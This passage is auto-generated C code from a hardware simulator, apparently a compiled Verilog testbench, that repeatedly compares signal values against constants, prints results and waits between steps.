= (~(t161)); t163 = *((unsigned int *)t128); t164 = (t163 & t162); t165 = (t164 != 0); if (t165 > 0) goto LAB227; LAB228: xsi_set_current_line(79, ng0); LAB230: xsi_set_current_line(80, ng0); t2 = (t0 + 1048U); t3 = *((char **)t2); xsi_vlogfile_write(1, 0, 0, ng5, 2, t0, (char)118, t3, 1); xsi_set_current_line(81, ng0); t2 = (t0 + 1208U); t3 = *((char **)t2); xsi_vlogfile_write(1, 0, 0, ng6, 2, t0, (char)118, t3, 3); xsi_set_current_line(82, ng0); t2 = (t0 + 1368U); t3 = *((char **)t2); xsi_vlogfile_write(1, 0, 0, ng7, 2, t0, (char)118, t3, 4); xsi_set_current_line(83, ng0); xsi_vlogfile_write(1, 0, 0, ng24, 1, t0); LAB229: xsi_set_current_line(87, ng0); t2 = ((char*)((ng25))); t3 = (t0 + 1768); xsi_vlogvar_assign_value(t3, t2, 0, 0, 12); xsi_set_current_line(87, ng0); t2 = (t0 + 2488); xsi_process_wait(t2, 5000LL); *((char **)t1) = &&LAB231; goto LAB1; LAB189: t19 = (t4 + 4); *((unsigned int *)t4) = 1; *((unsigned int *)t19) = 1; goto LAB190; LAB191: *((unsigned int *)t20) = 1; goto LAB194; LAB193: t27 = (t20 + 4); *((unsigned int *)t20) = 1; *((unsigned int *)t27) = 1; goto LAB194; LAB195: t32 = (t0 + 1208U); t33 = *((char **)t32); t32 = ((char*)((ng15))); memset(t34, 0, 8); t35 = (t33 + 4); t36 = (t32 + 4); t37 = *((unsigned int *)t33); t38 = *((unsigned int *)t32); t39 = (t37 ^ t38); t40 = *((unsigned int *)t35); t41 = *((unsigned int *)t36); t42 = (t40 ^ t41); t43 = (t39 | t42); t44 = *((unsigned int *)t35); t45 = *((unsigned int *)t36); t46 = (t44 | t45); t47 = (~(t46)); t48 = (t43 & t47); if (t48 != 0) goto LAB201; LAB198: if (t46 != 0) goto LAB200; LAB199: *((unsigned int *)t34) = 1; LAB201: memset(t50, 0, 8); t51 = (t34 + 4); t52 = *((unsigned int *)t51); t53 = (~(t52)); t54 = *((unsigned int *)t34); t55 = (t54 & t53); t56 = (t55 & 1U); if (t56 != 0) goto LAB202; LAB203: if (*((unsigned int *)t51) != 0) goto LAB204; LAB205: t59 = *((unsigned int *)t20); t60 = *((unsigned int *)t50); t61 = (t59 & t60); *((unsigned int *)t58) = t61; t62 = (t20 + 4); t63 = (t50 + 4); t64 = (t58 + 4); t65 = *((unsigned int *)t62); t66 = *((unsigned int *)t63); t67 = (t65 | t66); *((unsigned int *)t64) = t67; t68 = *((unsigned int *)t64); t69 = (t68 != 0); if (t69 == 1) goto LAB206; LAB207: LAB208: goto LAB197; LAB200: t49 = (t34 + 4); *((unsigned int *)t34) = 1; *((unsigned int *)t49) = 1; goto LAB201; LAB202: *((unsigned int *)t50) = 1; goto LAB205; LAB204: t57 = (t50 + 4); *((unsigned int *)t50) = 1; *((unsigned int *)t57) = 1; goto LAB205; LAB206: t70 = *((unsigned int *)t58); t71 = *((unsigned int *)t64); *((unsigned int *)t58) = (t70 | t71); t72 = (t20 + 4); t73 = (t50 + 4); t74 = *((unsigned int *)t20); t75 = (~(t74)); t76 = *((unsigned int *)t72); t77 = (~(t76)); t78 = *((unsigned int *)t50); t79 = (~(t78)); t80 = *((unsigned int *)t73); t81 = (~(t80)); t82 = (t75 & t77); t83 = (t79 & t81); t84 = (~(t82)); t85 = (~(t83)); t86 = *((unsigned int *)t64); *((unsigned int *)t64) = (t86 & t84); t87 = *((unsigned int *)t64); *((unsigned int *)t64) = (t87 & t85); t88 = *((unsigned int *)t58); *((unsigned int *)t58) = (t88 & t84); t89 = *((unsigned int *)t58); *((unsigned int *)t58) = (t89 & t85); goto LAB208; LAB209: *((unsigned int *)t90) = 1; goto LAB212; LAB211: t97 = (t90 + 4); *((unsigned int *)t90) = 1; *((unsigned int *)t97) = 1; goto LAB212; LAB213: t102 = (t0 + 1368U); t103 = *((char **)t102); t102 = ((char*)((ng11))); memset(t104, 0, 8); t105 = (t103 + 4); t106 = (t102 + 4); t107 = *((unsigned int *)t103); t108 = *((unsigned int *)t102); t109 = (t107 ^ t108); t110 = *((unsigned int *)t105); t111 = *((unsigned int *)t106); t112 = (t110 ^ t111); t113 = (t109 | t112); t114 = *((unsigned int *)t105); t115 = *((unsigned int *)t106); t116 = (t114 | t115); t117 = (~(t116)); t118 = (t113 & t117); if (t118 != 0) goto LAB219; LAB216: if (t116 != 0) goto LAB218; LAB217: *((unsigned int *)t104) = 1; LAB219: memset(t120, 0, 8); t121 = (t104 + 4); t122 = *((unsigned int *)t121); t123 = (~(t122)); t124 = *((unsigned int *)t104); t125 = (t124 & t123); t126 = (t125 & 1U); if (t126 != 0) goto LAB220; LAB221: if (*((unsigned int *)t121) != 0) goto LAB222; LAB223: t129 = *((unsigned int *)t90); t130 = *((unsigned int *)t120); t131 = (t129 & t130); *((unsigned int *)t128) = t131; t132 = (t90 + 4); t133 = (t120 + 4); t134 = (t128 + 4); t135 = *((unsigned int *)t132); t136 = *((unsigned int *)t133); t137 = (t135 | t136); *((unsigned int *)t134) = t137; t138 = *((unsigned int *)t134); t139 = (t138 != 0); if (t139 == 1) goto LAB224; LAB225: LAB226: goto LAB215; LAB218: t119 = (t104 + 4); *((unsigned int *)t104) = 1; *((unsigned int *)t119) = 1; goto LAB219; LAB220: *((unsigned int *)t120) = 1; goto LAB223; LAB222: t127 = (t120 + 4); *((unsigned int *)t120) = 1; *((unsigned int *)t127) = 1; goto LAB223; LAB224: t140 = *((unsigned int *)t128); t141 = *((unsigned int *)t134); *((unsigned int *)t128) = (t140 | t141); t142 = (t90 + 4); t143 = (t120 + 4); t144 = *((unsigned int *)t90); t145 = (~(t144)); t146 = *((unsigned int *)t142); t147 = (~(t146)); t148 = *((unsigned int *)t120); t149 = (~(t148)); t150 = *((unsigned int *)t143); t151 = (~(t150)); t152 = (t145 & t147); t153 = (t149 & t151); t154 = (~(t152)); t155 = (~(t153)); t156 = *((unsigned int *)t134); *((unsigned int *)t134) = (t156 & t154); t157 = *((unsigned int *)t134); *((unsigned int *)t134) = (t157 & t155); t158 = *((unsigned int *)t128); *((unsigned int *)t128) = (t158 & t154); t159 = *((unsigned int *)t128); *((unsigned int *)t128) = (t159 & t155); goto LAB226; LAB227: xsi_set_current_line(78, ng0); xsi_vlogfile_write(1, 0, 0, ng23, 1, t0); goto LAB229; LAB231: xsi_set_current_line(88, ng0); t2 = (t0 + 1048U); t3 = *((char **)t2); t2 = ((char*)((ng3))); memset(t4, 0, 8); t5 = (t3 + 4); t6 = (t2 + 4); t7 = *((unsigned int *)t3); t8 = *((unsigned int *)t2); t9 = (t7 ^ t8); t10 = *((unsigned int *)t5); t11 = *((unsigned int *)t6); t12 = (t10 ^ t11); t13 = (t9 | t12); t14 = *((unsigned int *)t5); t15 = *((unsigned int *)t6); t16 = (t14 | t15); t17 = (~(t16)); t18 = (t13 & t17); if (t18 != 0) goto LAB235; LAB232: if (t16 != 0) goto LAB234; LAB233: *((unsigned int *)t4) = 1; LAB235: memset(t20, 0, 8); t21 = (t4 + 4); t22 = *((unsigned int *)t21); t23 = (~(t22)); t24 = *((unsigned int *)t4); t25 = (t24 & t23); t26 = (t25 & 1U); if (t26 != 0) goto LAB236; LAB237: if (*((unsigned int *)t21) != 0) goto LAB238; LAB239: t28 = (t20 + 4); t29 = *((unsigned int *)t20); t30 = *((unsigned int *)t28); t31 = (t29 || t30); if (t31 > 0) goto LAB240; LAB241: memcpy(t58, t20, 8); LAB242: memset(t90, 0, 8); t91 = (t58 + 4); t92 = *((unsigned int *)t91); t93 = (~(t92)); t94 = *((unsigned int *)t58); t95 = (t94 & t93); t96 = (t95 & 1U); if (t96 != 0) goto LAB254; LAB255: if (*((unsigned int *)t91) != 0) goto LAB256; LAB257: t98 = (t90 + 4); t99 = *((unsigned int *)t90); t100 = *((unsigned int *)t98); t101 = (t99 || t100); if (t101 > 0) goto LAB258; LAB259: memcpy(t128, t90, 8); LAB260: t160 = (t128 + 4); t161 = *((unsigned int *)t160); t162 = (~(t161)); t163 = *((unsigned int *)t128); t164 = (t163 & t162); t165 = (t164 != 0); if (t165 > 0) goto LAB272; LAB273: xsi_set_current_line(90, ng0); LAB275: xsi_set_current_line(92, ng0); t2 = (t0 + 1048U); t3 = *((char **)t2); xsi_vlogfile_write(1, 0, 0, ng5, 2, t0, (char)118, t3, 1); xsi_set_current_line(93, ng0); t2 = (t0 + 1208U); t3 = *((char **)t2); xsi_vlogfile_write(1, 0, 0, ng6, 2, t0, (char)118, t3, 3); xsi_set_current_line(94, ng0); t2 = (t0 + 1368U); t3 = *((char **)t2); xsi_vlogfile_write(1, 0, 0, ng7, 2, t0, (char)118, t3, 4); xsi_set_current_line(95, ng0); xsi_vlogfile_write(1, 0, 0, ng29, 1, t0); LAB274: xsi_set_current_line(99, ng0); t2 = ((char*)((ng30))); t3 = (t0 + 1768); xsi_vlogvar_assign_value(t3, t2, 0, 0, 12); xsi_set_current_line(99, ng0); t2 = (t0 + 2488); xsi_process_wait(t2, 5000LL); *((char **)t1) = &&LAB276; goto LAB1; LAB234: t19 = (t4 + 4); *((unsigned int *)t4) = 1; *((unsigned int *)t19) = 1; goto LAB235; LAB236: *((unsigned int *)t20) = 1; goto LAB239; LAB238: t27 = (t20 + 4); *((unsigned int *)t20) = 1; *((unsigned int *)t27) = 1; goto LAB239; LAB240: t32 = (t0 + 1208U); t33 = *((char **)t32); t32 = ((char*)((ng26))); memset(t34, 0, 8); t35 = (t33 + 4); t36 = (t32 + 4); t37 = *((unsigned int *)t33); t38 = *((unsigned int *)t32); t39 = (t37 ^ t38); t40 = *((unsigned int *)t35); t41 = *((unsigned int *)t36); t42 = (t40 ^ t41); t43 = (t39 | t42); t44 = *((unsigned int *)t35); t45 = *((unsigned int *)t36); t46 = (t44 | t45); t47 = (~(t46)); t48 = (t43 & t47); if (t48 != 0) goto LAB246; LAB243: if (t46 != 0) goto LAB245; LAB244: *((unsigned int *)t34) = 1; LAB246: memset(t50, 0, 8); t51 = (t34 + 4); t52 = *((unsigned int *)t51); t53 = (~(t52)); t54 = *((unsigned int *)t34); t55 = (t54 & t53); t56 = (t55 & 1U); if (t56 != 0) goto LAB247; LAB248: if (*((unsigned int *)t51) != 0) goto LAB249; LAB250: t59 = *((unsigned int *)t20); t60 = *((unsigned int *)t50); t61 = (t59 & t60); *((unsigned int *)t58) = t61; t62 = (t20 + 4); t63 = (t50 + 4); t64 = (t58 + 4); t65 = *((unsigned int *)t62); t66 = *((unsigned int *)t63); t67 = (t65 | t66); *((unsigned int *)t64) = t67; t68 = *((unsigned int *)t64); t69 = (t68 != 0); if (t69 == 1) goto LAB251; LAB252: LAB253: goto LAB242; LAB245: t49 = (t34 + 4); *((unsigned int *)t34) = 1; *((unsigned int *)t49) = 1; goto LAB246; LAB247: *((unsigned int *)t50) = 1; goto LAB250; LAB249: t57 = (t50 + 4); *((unsigned int *)t50) = 1; *((unsigned int *)t57) = 1; goto LAB250; LAB251: t70 = *((unsigned int *)t58); t71 = *((unsigned int *)t64); *((unsigned int *)t58) = (t70 | t71); t72 = (t20 + 4); t73 = (t50 + 4); t74 = *((unsigned int *)t20); t75 = (~(t74)); t76 = *((unsigned int *)t72); t77 = (~(t76)); t78 = *((unsigned int *)t50); t79 = (~(t78)); t80 = *((unsigned int *)t73); t81 = (~(t80)); t82 = (t75 & t77); t83 = (t79 & t81); t84 = (~(t82)); t85 = (~(t83)); t86 = *((unsigned int *)t64); *((unsigned int *)t64) = (t86 & t84); t87 = *((unsigned int *)t64); *((unsigned int *)t64) = (t87 & t85); t88 = *((unsigned int *)t58); *((unsigned int *)t58) = (t88 & t84); t89 = *((unsigned int *)t58); *((unsigned int *)t58) = (t89 & t85); goto LAB253; LAB254: *((unsigned int *)t90) = 1; goto LAB257; LAB256: t97 = (t90 + 4); *((unsigned int *)t90) = 1; *((unsigned int *)t97) = 1; goto LAB257; LAB258: t102 = (t0 + 1368U); t103 = *((char **)t102); t102 = ((char*)((ng27))); memset(t104, 0, 8); t105 = (t103 + 4); t106 = (t102 + 4); t107 = *((unsigned int *)t103); t108 = *((unsigned int *)t102); t109 = (t107 ^ t108); t110 = *((unsigned int *)t105); t111 = *((unsigned int *)t106); t112 = (t110 ^ t111); t113 = (t109 | t112); t114 = *((unsigned int *)t105); t115 = *((unsigned int *)t106); t116 = (t114 | t115); t117 = (~(t116)); t118 = (t113 & t117); if (t118 != 0) goto LAB264; LAB261: if (t116 != 0) goto LAB263; LAB262: *((unsigned int *)t104) = 1; LAB264: memset(t120, 0, 8); t121 = (t104 + 4); t122 = *((unsigned int *)t121); t123 = (~(t122)); t124 = *((unsigned int *)t104); t125 = (t124 & t123); t126 = (t125 & 1U); if (t126 != 0) goto LAB265; LAB266: if (*((unsigned int *)t121) != 0) goto LAB267; LAB268: t129 = *((unsigned int *)t90); t130 = *((unsigned int *)t120); t131 = (t129 & t130); *((unsigned int *)t128) = t131; t132 = (t90 + 4); t133 = (t120 + 4); t134 = (t128 + 4); t135 = *((unsigned int *)t132); t136 = *((unsigned int *)t133); t137 = (t135 | t136); *((unsigned int *)t134) = t137; t138 = *((unsigned int *)t134); t139 = (t138 != 0); if (t139 == 1) goto LAB269; LAB270: LAB271: goto LAB260; LAB263: t119 = (t104 + 4); *((unsigned int *)t104) = 1; *((unsigned int *)t119) = 1; goto LAB264; LAB265: *((unsigned int *)t120) = 1; goto LAB268; LAB267: t127 = (t120 + 4); *((unsigned int *)t120) = 1; *((unsigned int *)t127) = 1; goto LAB268; LAB269: t140 = *((unsigned int *)t128); t141 = *((unsigned int *)t134); *((unsigned int *)t128) = (t140 | t141); t142 = (t90 + 4); t143 = (t120 + 4); t144 = *((unsigned int *)t90); t145 = (~(t144)); t146 = *((unsigned int *)t142); t147 = (~(t146)); t148 = *((unsigned int *)t120); t149 = (~(t148)); t150 = *((unsigned int *)t143); t151 = (~(t150)); t152 = (t145 & t147); t153 = (t149 & t151); t154 = (~(t152)); t155 = (~(t153)); t156 = *((unsigned int *)t134); *((unsigned int *)t134) = (t156 & t154); t157 = *((unsigned int *)t134); *((unsigned int *)t134) = (t157 & t155); t158 = *((unsigned int *)t128); *((unsigned int *)t128) = (t158 & t154); t159 = *((unsigned int *)t128); *((unsigned int *)t128) = (t159 & t155); goto LAB271; LAB272: xsi_set_current_line(89, ng0); xsi_vlogfile_write(1, 0, 0, ng28, 1, t0); goto LAB274; LAB276: xsi_set_current_line(100, ng0); t2 = (t0 + 1048U); t3 = *((char **)t2); t2 = ((char*)((ng3))); memset(t4, 0, 8); t5 = (t3 + 4); t6 = (t2 + 4); t7 = *((unsigned int *)t3); t8 = *((unsigned int *)t2); t9 = (t7 ^ t8); t10 = *((unsigned int *)t5); t11 = *((unsigned int *)t6); t12 = (t10 ^ t11); t13 = (t9 | t12); t14 = *((unsigned int *)t5); t15 = *((unsigned int *)t6); t16 = (t14 | t15); t17 = (~(t16)); t18 = (t13 & t17); if (t18 != 0) goto LAB280; LAB277: if (t16 != 0) goto LAB279; LAB278: *((unsigned int *)t4) = 1; LAB280: memset(t20, 0, 8); t21 = (t4 + 4); t22 = *((unsigned int *)t21); t23 = (~(t22)); t24 = *((unsigned int *)t4); t25 = (t24 & t23); t26 = (t25 & 1U); if (t26 != 0) goto LAB281; LAB282: if (*((unsigned int *)t21) != 0) goto LAB283; LAB284: t28 = (t20 + 4); t29 = *((unsigned int *)t20); t30 = *((unsigned int *)t28); t31 = (t29 || t30); if (t31 > 0) goto LAB285; LAB286: memcpy(t58, t20, 8); LAB287: memset(t90, 0, 8); t91 = (t58 + 4); t92 = *((unsigned int *)t91); t93 = (~(t92)); t94 = *((unsigned int *)t58); t95 = (t94 & t93); t96 = (t95 & 1U); if (t96 != 0) goto LAB299; LAB300: if (*((unsigned int *)t91) != 0) goto LAB301; LAB302: t98 = (t90 + 4); t99 = *((unsigned int *)t90); t100 = *((unsigned int *)t98); t101 = (t99 || t100); if (t101 > 0) goto LAB303; LAB304: memcpy(t128, t90, 8); LAB305: t160 = (t128 + 4); t161 = *((unsigned int *)t160); t162 = (~(t161)); t163 = *((unsigned int *)t128); t164 = (t163 & t162); t165 = (t164 != 0); if (t165 > 0) goto LAB317; LAB318: xsi_set_current_line(102, ng0); LAB320: xsi_set_current_line(104, ng0); t2 = (t0 + 1048U); t3 = *((char **)t2); xsi_vlogfile_write(1, 0, 0, ng5, 2, t0, (char)118, t3, 1); xsi_set_current_line(105, ng0); t2 = (t0 + 1208U); t3 = *((char **)t2); xsi_vlogfile_write(1, 0, 0, ng6, 2, t0, (char)118, t3, 3); xsi_set_current_line(106, ng0); t2 = (t0 + 1368U); t3 = *((char **)t2); xsi_vlogfile_write(1, 0, 0, ng7, 2, t0, (char)118, t3, 4); xsi_set_current_line(107, ng0); xsi_vlogfile_write(1, 0, 0, ng34, 1, t0); LAB319: xsi_set_current_line(111, ng0); t2 = ((char*)((ng35))); t3 = (t0 + 1768); xsi_vlogvar_assign_value(t3, t2, 0, 0, 12); xsi_set_current_line(111, ng0); t2 = (t0 + 2488); xsi_process_wait(t2, 5000LL); *((char **)t1) = &&LAB321; goto LAB1; LAB279: t19 = (t4 + 4); *((unsigned int *)t4) = 1; *((unsigned int *)t19) = 1; goto LAB280; LAB281: *((unsigned int *)t20) = 1; goto LAB284; LAB283: t27 = (t20 + 4); *((unsigned int *)t20) = 1; *((unsigned int *)t27) = 1; goto LAB284; LAB285: t32 = (t0 + 1208U); t33 = *((char **)t32); t32 = ((char*)((ng31))); memset(t34, 0, 8); t35 = (t33 + 4); t36 = (t32 + 4); t37 = *((unsigned int *)t33); t38 = *((unsigned int *)t32); t39 = (t37 ^ t38); t40 = *((unsigned int *)t35); t41 = *((unsigned int *)t36); t42 = (t40 ^ t41); t43 = (t39 | t42); t44 = *((unsigned int *)t35); t45 = *((unsigned int *)t36); t46 = (t44 | t45); t47 = (~(t46)); t48 = (t43 & t47); if (t48 != 0) goto LAB291; LAB288: if (t46 != 0) goto LAB290; LAB289: *((unsigned int *)t34) = 1; LAB291: memset(t50, 0, 8); t51 = (t34 + 4); t52 = *((unsigned int *)t51); t53 = (~(t52)); t54 = *((unsigned int *)t34); t55 = (t54 & t53); t56 = (t55 & 1U); if (t56 != 0) goto LAB292; LAB293: if (*((unsigned int *)t51) != 0) goto LAB294; LAB295: t59 = *((unsigned int *)t20); t60 = *((unsigned int *)t50); t61 = (t59 & t60); *((unsigned int *)t58) = t61; t62 = (t20 + 4); t63 = (t50 + 4); t64 = (t58 + 4); t65 = *((unsigned int *)t62); t66 = *((unsigned int *)t63); t67 = (t65 | t66); *((unsigned int *)t64) = t67; t68 = *((unsigned int *)t64); t69 = (t68 != 0); if (t69 == 1) goto LAB296; LAB297: LAB298: goto LAB287; LAB290: t49 = (t34 + 4); *((unsigned int *)t34) = 1; *((unsigned int *)t49) = 1; goto LAB291; LAB292: *((unsigned int *)t50) = 1; goto LAB295; LAB294: t57 = (t50 + 4); *((unsigned int *)t50) = 1; *((unsigned int *)t57) = 1; goto LAB295; LAB296: t70 = *((unsigned int *)t58); t71 = *((unsigned int *)t64); *((unsigned int *)t58) = (t70 | t71); t72 = (t20 + 4); t73 = (t50 + 4); t74 = *((unsigned int *)t20); t75 = (~(t74)); t76 = *((unsigned int *)t72); t77 = (~(t76)); t78 = *((unsigned int *)t50); t79 = (~(t78)); t80 = *((unsigned int *)t73); t81 = (~(t80)); t82 = (t75 & t77); t83 = (t79 & t81); t84 = (~(t82)); t85 = (~(t83)); t86 = *((unsigned int *)t64); *((unsigned int *)t64) = (t86 & t84); t87 = *((unsigned int *)t64); *((unsigned int *)t64) = (t87 & t85); t88 = *((unsigned int *)t58); *((unsigned int *)t58) = (t88 & t84); t89 = *((unsigned int *)t58); *((unsigned int *)t58) = (t89 & t85); goto LAB298; LAB299: *((unsigned int *)t90) = 1; goto LAB302; LAB301: t97 = (t90 + 4); *((unsigned int *)t90) = 1; *((unsigned int *)t97) = 1; goto LAB302; LAB303: t102 = (t0 + 1368U); t103 = *((char **)t102); t102 = ((char*)((ng32))); memset(t104, 0, 8); t105 = (t103 + 4); t106 = (t102 + 4); t107 = *((unsigned int *)t103); t108 = *((unsigned int *)t102); t109 = (t107 ^ t108); t110 = *((unsigned int *)t105); t111 = *((unsigned int *)t106); t112 = (t110 ^ t111); t113 = (t109 | t112); t114 = *((unsigned int *)t105); t115 = *((unsigned int *)t106); t116 = (t114 | t115); t117 = (~(t116)); t118 = (t113 & t117); if (t118 != 0) goto LAB309; LAB306: if (t116 != 0) goto LAB308; LAB307: *((unsigned int *)t104) = 1; LAB309: memset(t120, 0, 8); t121 = (t104 + 4); t122 = *((unsigned int *)t121); t123 = (~(t122)); t124 = *((unsigned int *)t104); t125 = (t124 & t123); t126 = (t125 & 1U); if (t126 != 0) goto LAB310; LAB311: if (*((unsigned int *)t121) != 0) goto LAB312; LAB313: t129 = *((unsigned int *)t90); t130 = *((unsigned int *)t120); t131 = (t129 & t130); *((unsigned int *)t128) = t131; t132 = (t90 + 4); t133 = (t120 + 4); t134 = (t128 + 4); t135 = *((unsigned int *)t132); t136 = *((unsigned int *)t133); t137 = (t135 | t136); *((unsigned int *)t134) = t137; t138 = *((unsigned int *)t134); t139 = (t138 != 0); if (t139 == 1) goto LAB314; LAB315: LAB316: goto LAB305; LAB308: t119 = (t104 + 4); *((unsigned int *)t104) = 1; *((unsigned int *)t119) = 1; goto LAB309; LAB310: *((unsigned int *)t120) = 1; goto LAB313; LAB312: t127 = (t120 + 4); *((unsigned int *)t120) = 1; *((unsigned int *)t127) = 1; goto LAB313; LAB314: t140 = *((unsigned int *)t128); t141 = *((unsigned int *)t134); *((unsigned int *)t128) = (t140 | t141); t142 = (t90 + 4); t143 = (t120 + 4); t144 = *((unsigned int *)t90); t145 = (~(t144)); t146 = *((unsigned int *)t142); t147 = (~(t146)); t148 = *((unsigned int *)t120); t149 = (~(t148)); t150 = *((unsigned int *)t143); t151 = (~(t150)); t152 = (t145 & t147); t153 = (t149 & t151); t154 = (~(t152)); t155 = (~(t153)); t156 = *((unsigned int *)t134); *((unsigned int *)t134) = (t156 & t154); t157 = *((unsigned int *)t134); *((unsigned int *)t134) = (t157 & t155); t158 = *((unsigned int *)t128); *((unsigned int *)t128) = (t158 & t154); t159 = *((unsigned int *)t128); *((unsigned int *)t128) = (t159 & t155); goto LAB316; LAB317: xsi_set_current_line(101, ng0); xsi_vlogfile_write(1, 0, 0, ng33, 1, t0); goto LAB319; LAB321: xsi_set_current_line(112, ng0); t2 = (t0 + 1048U); t3 = *((char **)t2); t2 = ((char*)((ng3))); memset(t4, 0, 8); t5 = (t3 + 4); t6 = (t2 + 4); t7 = *((unsigned int *)t3); t8 = *((unsigned int *)t2); t9 = (t7 ^ t8); t10 = *((unsigned int *)t5); t11 = *((unsigned int *)t6); t12 = (t10 ^ t11); t13 = (t9 | t12); t14 = *((unsigned int *)t5); t15 = *((unsigned int *)t6); t16 = (t14 | t15); t17 = (~(t16)); t18 = (t13 & t17); if (t18 != 0) goto LAB325; LAB322: if (t16 != 0) goto LAB324; LAB323: *((unsigned int *)t4) = 1; LAB325: memset(t20, 0, 8); t21 = (t4 + 4); t22 = *((unsigned int *)t21); t23 = (~(t22)); t24 = *((unsigned int *)t4); t25 = (t24 & t23); t26 = (t25 & 1U); if (t26 != 0) goto LAB326; LAB327: if (*((unsigned int *)t21) != 0) goto LAB328; LAB329: t28 = (t20 + 4); t29 = *((unsigned int *)t20); t30 = *((unsigned int *)t28); t31 = (t29 || t30); if (t31 > 0) goto LAB330; LAB331: memcpy(t58, t20, 8); LAB332: memset(t90, 0, 8); t91 = (t58 + 4); t92 = *((unsigned int *)t91); t93 = (~(t92)); t94 = *((unsigned int *)t58); t95 = (t94 & t93); t96 = (t95 & 1U); if (t96 != 0) goto LAB344; LAB345: if (*((unsigned int *)t91) != 0) goto LAB346; LAB347: t98 = (t90 + 4); t99 = *((unsigned int *)t90); t100 = *((unsigned int *)t98); t101 = (t99 || t100); if (t101 > 0) goto LAB348; LAB349: memcpy(t128, t90, 8); LAB350: t160 = (t128 + 4); t161 = *((unsigned int *)t160); t162 = (~(t161)); t163 = *((unsigned int *)t128); t164 = (t163 & t162); t165 = (t164 != 0); if (t165 > 0) goto LAB362; LAB363: xsi_set_current_line(114, ng0); LAB365: xsi_set_current_line(116, ng0); t2 = (t0 + 1048U); t3 = *((char **)t2); xsi_vlogfile_write(1, 0, 0, ng5, 2, t0, (char)118, t3, 1); xsi_set_current_line(117, ng0); t2 = (t0 + 1208U); t3 = *((char **)t2); xsi_vlogfile_write(1, 0, 0, ng6, 2, t0, (char)118, t3, 3); xsi_set_current_line(118, ng0); t2 = (t0 + 1368U); t3 = *((char **)t2); xsi_vlogfile_write(1, 0, 0, ng7, 2, t0, (char)118, t3, 4); xsi_set_current_line(119, ng0); xsi_vlogfile_write(1, 0, 0, ng38, 1, t0); LAB364: xsi_set_current_line(122, ng0); t2 = ((char*)((ng39))); t3 = (t0 + 1768); xsi_vlogvar_assign_value(t3, t2, 0, 0, 12); xsi_set_current_line(122, ng0); t2 = (t0 + 2488); xsi_process_wait(t2, 5000LL); *((char **)t1) = &&LAB366; goto LAB1; LAB324: t19 = (t4 + 4); *((unsigned int *)t4) = 1; *((unsigned int *)t19) = 1; goto LAB325; LAB326: *((unsigned int *)t20) = 1; goto LAB329; LAB328: t27 = (t20 + 4); *((unsigned int *)t20) = 1; *((unsigned int *)t27) = 1; goto LAB329; LAB330: t32 = (t0 + 1208U); t33 = *((char **)t32); t32 = ((char*)((ng10))); memset(t34, 0, 8); t35 = (t33 + 4); t36 = (t32 + 4); t37 = *((unsigned int *)t33); t38 = *((unsigned int *)t32); t39 = (t37 ^ t38); t40 = *((unsigned int *)t35); t41 = *((unsigned int *)t36); t42 = (t40 ^ t41); t43 = (t39 | t42); t44 = *((unsigned int *)t35); t45 = *((unsigned int *)t36); t46 = (t44 | t45); t47 = (~(t46)); t48 = (t43 & t47); if (t48 != 0) goto LAB336; LAB333: if (t46 != 0) goto LAB335; LAB334: *((unsigned int *)t34) = 1; LAB336: memset(t50, 0, 8); t51 = (t34 + 4); t52 = *((unsigned int *)t51); t53 = (~(t52)); t54 = *((unsigned int *)t34); t55 = (t54 & t53); t56 = (t55 & 1U); if (t56 != 0) goto LAB337; LAB338: if (*((unsigned int *)t51) != 0) goto LAB339; LAB340: t59 = *((unsigned int *)t20); t60 = *((unsigned int *)t50); t61 = (t59 & t60); *((unsigned int *)t58) = t61; t62 = (t20 + 4); t63 = (t50 + 4); t64 = (t58 + 4); t65 = *((unsigned int *)t62); t66 = *((unsigned int *)t63); t67 = (t65 | t66); *((unsigned int *)t64) = t67; t68 = *((unsigned int *)t64); t69 = (t68 != 0); if (t69 == 1) goto LAB341; LAB342: LAB343: goto LAB332; LAB335: t49 = (t34 + 4); *((unsigned int *)t34) = 1; *((unsigned int *)t49) = 1; goto LAB336; LAB337: *((unsigned int *)t50) = 1; goto LAB340; LAB339: t57 = (t50 + 4); *((unsigned int *)t50) = 1; *((unsigned int *)t57) = 1; goto LAB340; LAB341: t70 = *((unsigned int *)t58); t71 = *((unsigned int *)t64); *((unsigned int *)t58) = (t70 | t71); t72 = (t20 + 4); t73 = (t50 + 4); t74 = *((unsigned int *)t20); t75 = (~(t74)); t76 = *((unsigned int *)t72); t77 = (~(t76)); t78 = *((unsigned int *)t50); t79 = (~(t78)); t80 = *((unsigned int *)t73); t81 = (~(t80)); t82 = (t75 & t77); t83 = (t79 & t81); t84 = (~(t82)); t85 = (~(t83)); t86 = *((unsigned int *)t64); *((unsigned int *)t64) = (t86 & t84); t87 = *((unsigned int *)t64); *((unsigned int *)t64) = (t87 & t85); t88 = *((unsigned int *)t58); *((unsigned int *)t58) = (t88 & t84); t89 = *((unsigned int *)t58); *((unsigned int *)t58) = (t89 & t85); goto LAB343; LAB344: *((unsigned int *)t90) = 1; goto LAB347; LAB346: t97 = (t90 + 4); *((unsigned int *)t90) = 1; *((unsigned int *)t97) = 1; goto LAB347; LAB348: t102 = (t0 + 1368U); t103 = *((char **)t102); t102 = ((char*)((ng36))); memset(t104, 0, 8); t105 = (t103 + 4); t106 = (t102 + 4); t107 = *((unsigned int *)t103); t108 = *((unsigned int *)t102); t109 = (t107 ^ t108); t110 = *((unsigned int *)t105); t111 = *((unsigned int *)t106); t112 = (t110 ^ t111); t113 = (t109 | t112); t114 = *((unsigned int *)t105); t115 = *((unsigned int *)t106); t116 = (t114 | t115); t117 = (~(t116)); t118 = (t113 & t117); if (t118 != 0) goto LAB354; LAB351: if (t116 != 0) goto LAB353; LAB352: *((unsigned int *)t104) = 1; LAB354: memset(t120, 0, 8); t121 = (t104 + 4); t122 = *((unsigned int *)t121); t123 = (~(t122)); t124 = *((unsigned int *)t104); t125 = (t124 & t123); t126 = (t125 & 1U); if (t126 != 0) goto LAB355; LAB356: if (*((unsigned int *)t121) != 0) goto LAB357; LAB358: t129 = *((unsigned int *)t90); t130 = *((unsigned int *)t120); t131 = (t129 & t130); *((unsigned int *)t128) = t131; t132 = (t90 + 4); t133 = (t120 + 4); t134 = (t128 + 4); t135 = *((unsigned int *)t132); t136 = *((unsigned int *)t133); t137 = (t135 | t136); *((unsigned int *)t134) = t137; t138 = *((unsigned int *)t134); t139 = (t138 != 0); if (t139 == 1) goto LAB359; LAB360: LAB361: goto LAB350; LAB353: t119 = (t104 + 4); *((unsigned int *)t104) = 1; *((unsigned int *)t119) = 1; goto LAB354; LAB355: *((unsigned int *)t120) = 1; goto LAB358; LAB357: t127 = (t120 + 4); *((unsigned int *)t120) = 1; *((unsigned int *)t127) = 1; goto LAB358; LAB359: 